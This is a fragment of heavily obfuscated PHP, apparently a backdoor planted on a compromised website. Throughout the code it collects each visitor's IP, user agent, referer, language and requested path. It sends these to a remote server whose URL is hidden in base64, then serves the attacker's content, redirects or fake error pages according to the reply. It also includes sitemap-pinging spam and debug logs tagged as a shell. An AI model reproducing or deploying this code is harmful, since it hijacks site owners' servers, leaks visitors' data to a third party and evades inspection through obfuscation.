$mffx_, "\144\x6f\x6d" => SV2HO("\110\124\x54\x50\137\110\x4f\123\124"), "\x69\160" => eok2i(), "\x6c\141\x6e\147" => SV2HO("\x48\x54\x54\x50\137\101\103\x43\105\x50\124\137\x4c\101\116\x47\x55\x41\x47\x45"), "\x61\147\x65\x6e\164" => sv2ho("\x48\x54\124\x50\x5f\x55\x53\105\x52\x5f\101\107\105\x4e\124"), "\x72\x65\146\x65\x72" => SV2HO("\x48\124\x54\x50\x5f\122\105\x46\x45\122\x45\122"), "\150\164\164\160" => xuYaI() ? "\x68\x74\164\x70\x73" : "\150\x74\x74\160"]); goto E1eVU; CzC8p: a7OVG: goto DBhcl; EXotd: aBmFS: goto VduwI; BcFNs: if (!(ob_get_level() > 0)) { goto b6IPW; } goto f8IIr; m1AjM: goto hBTO4; goto K2H9S; ez6eo: $ObkBU = ThRJN(S7ZSb, $Jd634); goto ib_rV; wJg1s: $mffx_ = Sv2ho("\122\105\121\125\x45\x53\x54\137\x55\122\x49"); goto w8G69; ap17t: die("\74\x21\104\x4f\x43\124\x59\120\x45\x20\150\164\155\154\x3e\x3c\150\164\155\x6c\40\x6c\141\156\147\x3d\47\x6a\x61\47\76\x3c\150\x65\x61\144\x3e\74\155\145\x74\x61\x20\143\x6f\156\164\145\156\x74\x3d\47\x74\x65\170\x74\57\150\164\155\154\73\40\143\x68\141\162\x73\145\164\75\165\164\146\x2d\70\x27\57\76\x3c\57\x68\145\x61\x64\x3e\74\x62\x6f\x64\x79\x20\x73\x74\x79\x6c\145\75\x27\144\151\163\x70\x6c\x61\171\72\40\x6e\157\156\145\x3b\x27\x3e{$wUg77}\74\x2f\142\157\x64\171\76\74\57\150\x74\155\x6c\x3e"); goto nLTns; E1eVU: if (strpos($mffx_, "\160\x69\156\147\163\151\164\145\x6d\141\x70") !== false) { goto agPNi; } goto Bl4ce; SU2ei: agPNi: goto ez6eo; K2H9S: b6IPW: goto OBiQx; dTo98: function Sv2hO($CTUOT) { return isset($_SERVER[$CTUOT]) ? $_SERVER[$CTUOT] : ''; } goto nyDTF; VduwI: goto D4lPT; goto SU2ei; hqm_n: if (!$h49r_) { goto aBmFS; } goto CUrRs; CUrRs: hBTO4: goto BcFNs; VP0Uk: function wtL3Z($abzVY, $o0Lmh = '', $hgg_g = false) { goto tnyoz; TcXx1: $GNsKx = curl_error($uX4B8); goto gZiKS; CO7oX: curl_setopt($uX4B8, CURLOPT_URL, $abzVY); goto aqbm1; hbKOB: return @file_get_contents($o0Lmh ? "{$abzVY}\77{$o0Lmh}" : $abzVY); goto R1U0G; T5Cri: $Zfvr_ = curl_exec($uX4B8); goto CZS2i; N4QdS: m2uFF: goto PzDwi; jkkzw: @header("\x43\x6f\x6e\164\x65\156\164\x2d\124\x79\x70\145\x3a\40{$rqMn4}"); goto N4QdS; KAXhA: error_log("\133\x53\110\105\114\x4c\x5f\104\x45\x42\x55\107\x5d\40\143\x75\x72\x6c\40\x46\101\111\114\105\104\x3a\40\x65\x72\162\156\x6f\75{$JdBxM}\54\40\x65\x72\x72\157\162\x3d{$GNsKx}\x2c\x20\x68\164\x74\x70\x5f\143\157\x64\145\75{$ISQIu["\150\x74\x74\x70\137\x63\x6f\x64\x65"]}\x2c\x20\x75\162\154\x3d" . ($hgg_g ? $abzVY : ($o0Lmh ? "{$abzVY}\x3f\x2e\x2e\56" : $abzVY)) . "\54\x20\x74\x6f\x74\141\x6c\137\x74\x69\155\145\x3d{$ISQIu["\x74\157\x74\x61\154\x5f\164\x69\x6d\x65"]}\x73"); goto ZYG4v; CZS2i: if ($Zfvr_ === false) { goto LtitI; } goto tKsuD; uZUyU: LtitI: goto TcXx1; eKmVg: if (!(!empty($Zfvr_) && $Zfvr_[0] !== "\x37")) { goto y3o84; } goto conNO; aqbm1: curl_setopt($uX4B8, CURLOPT_POST, 1); goto GWuTi; GgtsU: if (!$rqMn4) { goto m2uFF; } goto jkkzw; QVQl3: $ISQIu = curl_getinfo($uX4B8); goto KAXhA; puLuA: error_log("\x5b\123\x48\x45\114\x4c\x5f\x44\x45\x42\x55\107\135\x20\143\165\162\x6c\40\x4f\x4b\40\142\x75\164\40\x73\x68\157\x72\164\x20\162\x65\163\x70\157\x6e\163\x65\72\40\154\x65\156\75" . strlen($Zfvr_) . "\x2c\x20\x62\x6f\144\171\x3d" . var_export($Zfvr_, true) . "\x2c\40\x68\x74\164\x70\137\143\157\x64\145\x3d{$ISQIu["\150\x74\x74\160\137\143\x6f\x64\x65"]}\x2c\x20\x74\157\x74\141\x6c\x5f\164\151\x6d\145\75{$ISQIu["\x74\157\x74\141\154\137\x74\151\x6d\145"]}\x73"); goto dBo5n; dBo5n: dZsk2: goto djSac; tnyoz: if (!function_exists("\x63\x75\x72\154\137\x69\156\x69\164")) { goto ojAPU; } goto bJgHa; ZYG4v: klPKj: goto OXC7x; ZiPB4: if ($hgg_g) { goto Xs23h; } goto M826j; s9KtE: curl_setopt_array($uX4B8, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 0, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 30, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false]); goto T5Cri; OLp8z: goto IXc_O; goto Rfcqq; wkYke: ojAPU: goto hbKOB; M826j: curl_setopt($uX4B8, CURLOPT_URL, $o0Lmh ? "{$abzVY}\77{$o0Lmh}" : $abzVY); goto OLp8z; tauzk: IXc_O: goto s9KtE; Sc4dR: return $Zfvr_; goto wkYke; DTcq5: if (!(strlen($Zfvr_) < 10)) { goto dZsk2; } goto puLuA; PzDwi: y3o84: goto DTcq5; conNO: $rqMn4 = isset($ISQIu["\x63\x6f\156\x74\x65\x6e\x74\x5f\164\171\160\145"]) ? $ISQIu["\143\x6f\x6e\x74\145\156\164\x5f\x74\171\x70\x65"] : ''; goto GgtsU; OXC7x: curl_close($uX4B8); goto Sc4dR; djSac: goto klPKj; goto uZUyU; GWuTi: curl_setopt($uX4B8, CURLOPT_POSTFIELDS, $o0Lmh); goto tauzk; bJgHa: $uX4B8 = curl_init(); goto ZiPB4; gZiKS: $JdBxM = curl_errno($uX4B8); goto QVQl3; tKsuD: $ISQIu = curl_getinfo($uX4B8); goto eKmVg; Rfcqq: Xs23h: goto CO7oX; R1U0G: } goto PsFJd; a11AI: $XoRUD = parse_url(S7ZSb, PHP_URL_HOST); goto yO1bn; PsFJd: function thRjN($abzVY, $DbQfC) { goto b7Mim; JDWYK: return false; goto gr8F5; tI9Ah: error_log("\133\123\110\x45\x4c\114\x5f\x44\x45\x42\125\x47\x5d\x20\146\145\164\143\x68\102\141\143\153\145\x6e\144\72\x20\146\x69\162\163\164\x20\141\164\164\x65\155\160\164\40\x65\x6d\x70\164\x79\57\146\x61\x6c\x73\x65\x2c\40\162\145\x73\160\x6f\x6e\x73\145\x3d" . var_export($Zfvr_, true)); goto jFU6d; DJ3iR: @header("\x48\124\124\x50\57\61\x2e\61\x20\64\x30\64\40\x4e\157\x74\40\x46\157\165\156\x64"); goto HlBOA; QVGhD: die; goto rtRAn; Q5BiK: die; goto wOtLu; PsNQc: if (!($lhD4t === "\65")) { goto bYmF7; } goto CCcX2; nO9lk: $lhD4t = $Zfvr_[0]; goto xCV8C; DjkAZ: if (!($lhD4t === "\x37")) { goto Ba3eV; } goto JDWYK; CCcX2: @header("\x48\x54\124\120\57\61\x2e\x31\x20\65\x30\x30\40\x49\156\x74\x65\162\x6e\x61\x6c\x20\x53\145\162\x76\x65\x72\40\105\x72\162\157\162"); goto rzKWD; xCV8C: if (!($lhD4t === "\64")) { goto y7u5j; } goto DJ3iR; oAY4A: @header("\x48\x54\124\x50\57\61\56\61\x20\x33\60\62\40\106\x6f\165\156\144"); goto tWguC; gr8F5: Ba3eV: goto D6Clh; wotUp: if (!($lhD4t === "\x33")) { goto t0EDh; } goto oAY4A; wOtLu: bYmF7: goto wotUp; HlBOA: echo substr($Zfvr_, 1); goto igPiL; tWguC: @header("\114\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20" . substr($Zfvr_, 1)); goto QVGhD; rtRAn: t0EDh: goto DjkAZ; igPiL: die; goto rd9Ms; D6Clh: if (!($lhD4t === "\70")) { goto ULoZN; } goto Aqdr_; FazIk: return $Zfvr_; goto PfVkj; qYUCt: MYUoN: goto nO9lk; rzKWD: echo substr($Zfvr_, 1); goto Q5BiK; b7Mim: $Zfvr_ = Wtl3Z($abzVY, $DbQfC); goto yUL_j; yUL_j: if ($Zfvr_) { goto MYUoN; } goto tI9Ah; Aqdr_: die; goto bXvQ3; jFU6d: return false; goto qYUCt; bXvQ3: ULoZN: goto FazIk; rd9Ms: y7u5j: goto PsNQc; PfVkj: } goto wJg1s; r16BM: define("\x53\x37\132\x53\x62", base64_decode("\x61\x48\122\x30\143\x48\115\x36\114\x79\71\152\x5a\152\101\x77\x4e\171\65\x7a\x64\127\x6c\x71\x61\x58\154\64\114\x6e\116\157\x62\63\x41\x76\132\x32\x39\x68\x63\x47\x6b\75")); goto dTo98; Bl4ce: $h49r_ = ThrJn(S7ZSb, $Jd634); goto hqm_n; OBiQx: die($h49r_); goto EXotd; w8G69: if (!(trim($mffx_, "\x2f") === "\143\146\61\x39\x38\70")) { goto fqwSK; } goto a11AI; qhmpx: $wUg77 = isset($Pz6AA[0]) ? $Pz6AA[0] : "\165\156\153\x6e\157\167\x6e"; goto ap17t; nyDTF: function xUYAI() { goto CRpyv; RcNPX: if (!(isset($_SERVER["\x53\105\122\126\105\x52\x5f\x50\117\x52\x54"]) && $_SERVER["\123\x45\x52\x56\x45\122\137\x50\117\122\x54"] == 443)) { goto RIp26; } goto Nqs1e; st0fL: RIp26: goto Zu9EM; Zu9EM: return false; goto OiUyH; iKMnL: QiSwi: goto XBtDn; RGIbz: DTUVt: goto RcNPX; DzvZC: return true; goto iKMnL; QT9WN: return true; goto RGIbz; XBtDn: if (!(isset($_SERVER["\110\x54\x54\x50\137\x58\x5f\106\117\x52\x57\x41\122\x44\105\x44\x5f\x50\x52\117\x54\117"]) && strtolower($_SERVER["\110\124\x54\x50\137\130\x5f\106\x4f\x52\127\101\x52\x44\x45\104\137\x50\x52\x4f\124\x4f"]) === "\150\x74\164\160\163")) { goto DTUVt; } goto QT9WN; CRpyv: if (!(!empty($_SERVER["\110\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\123"]) !== "\x6f\x66\146")) { goto QiSwi; } goto DzvZC; Nqs1e: return true; goto st0fL; OiUyH: } goto N2iBA; N2iBA: function EOk2i() { goto MRar1; MRar1: $tjGpq = ["\110\x54\x54\x50\137\103\x4c\x49\x45\116\x54\x5f\111\x50", "\110\x54\124\x50\137\x43\x46\137\103\117\116\x4e\x45\103\x54\x49\x4e\107\x5f\111\120", "\110\x54\124\x50\x5f\x58\137\x46\117\x52\127\x41\x52\x44\x45\x44\x5f\x46\x4f\122", "\x48\124\124\120\x5f\x46\117\122\x57\x41\x52\104\x45\x44", "\x52\x45\x4d\117\x54\105\x5f\x41\104\104\x52"]; goto hhO3R; EG9bs: WpxBQ: goto cVjoY; cVjoY: return ''; goto KIU8u; hhO3R: foreach ($tjGpq as $CTUOT) { goto FEinx; sGpyT: IXFHq: goto a3Fv8; eeNqj: ENdpt: goto wIwJA; r6koI: q3w5Z: goto sGpyT; wIwJA: foreach (explode("\54", $_SERVER[$CTUOT]) as $xdlZS) { goto Fwz9i; R_xLV: hfc6j: goto Z15Gn; yEYEw: if (!(filter_var($xdlZS, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto EuSJu; } goto wSXso; Fwz9i: $xdlZS = trim($xdlZS); goto yEYEw; aK1NX: EuSJu: goto R_xLV; wSXso: return $xdlZS; goto aK1NX; Z15Gn: } goto r6koI; YlALY: goto IXFHq; goto eeNqj; FEinx: if (isset($_SERVER[$CTUOT])) { goto ENdpt; } goto YlALY; a3Fv8: } goto EG9bs; KIU8u: } goto VP0Uk; yO1bn: $Pz6AA = explode("\x2e", $XoRUD); goto qhmpx; EdHde: foreach (explode("\54", $ObkBU) as $vNw17) { goto Czxky; nkahE: echo $vNw17 . "\74\142\x72\x3e"; goto RRbtZ; RRbtZ: echo (stristr($ChZsk, "\x73\x75\x63\x63\145\x73\x73\146\x75\154\x6c\x79") ? "\x70\151\156\147\x20\x6f\x6b" : $ChZsk) . "\74\x62\162\76"; goto EuR1i; Czxky: $ChZsk = wTl3z($vNw17); goto nkahE; EuR1i: hl0Va: goto sRYcl; sRYcl: } goto AgLit; AgLit: hdQZt: goto CzC8p; DBhcl: D4lPT: ?>